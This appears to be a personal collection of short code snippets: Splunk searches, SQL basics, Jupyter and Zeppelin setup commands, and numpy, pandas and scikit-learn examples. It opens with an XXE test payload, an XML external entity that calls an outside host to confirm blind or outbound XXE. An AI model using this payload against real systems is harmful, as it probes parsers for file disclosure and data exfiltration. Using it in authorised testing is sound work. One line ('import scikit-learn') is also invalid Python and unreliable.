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Vanilla, used to verify outbound xxe or blind xxe
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<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

questsin

questsin

index="iptv_sol_cdn_ats" | stats count by _raw

index="staging" NOT name="*"   sourcetype=DownloadSessionEvent | af classfield=status

index=iptv_*  index !=*cdn*
| eval diff= (_indextime - _time)/1000
| bin diff bins=20 
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S") 
|eval capturetime=strftime(_time,"%Y-%m-%d %H:%M:%S")  
| stats count by  index diff

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Basic Queries
--  lter your columns
	SELECT col1, col2, col3, ... FROM table1 --  lter the rows
	WHERE col4 = 1 AND col5 = 2 -- aggregate the data
	GROUP by ...
-- limit aggregated data
	HAVING count(*) > 1 -- order of the results
	ORDER BY col2

Useful keywords for SELECTS:

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http://sqlitebrowser.org/

import sqlite3
from sqlite3 import Error

pip install bash_kernel
python -m bash_kernel.install

python setup.py install
python -m sqlite3_kernel.install

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http://localhost:8080/#/
$ bin/zeppelin-daemon.sh start
$ bin/zeppelin-daemon.sh stop

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#view the dashboard
tensorboard --logdir=.

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import numpy as np
np.arange(1,5)
np.linspace(1,5,4)
np.zeros(3)
np.ones(3)
np.random.randn(1000)

arr = np.array([1,2,3])
arr
len(arr)

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#http://pandas.pydata.org/
#Series – for one dimensional array
#DataFrame – for 2 dimensional tables (and with multi-indexing can display more dimensions)

import numpy as np 
import pandas as pd 
 
df=pd.read_csv('pupils.csv')
df.head()
len(df)

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import scikit-learn
from sklearn import datasets
from sklearn.model_selection import cross_val_predict
from sklearn import linear_model
import matplotlib.pyplot as plt

lr = linear_model.LinearRegression()
boston = datasets.load_boston()
y = boston.target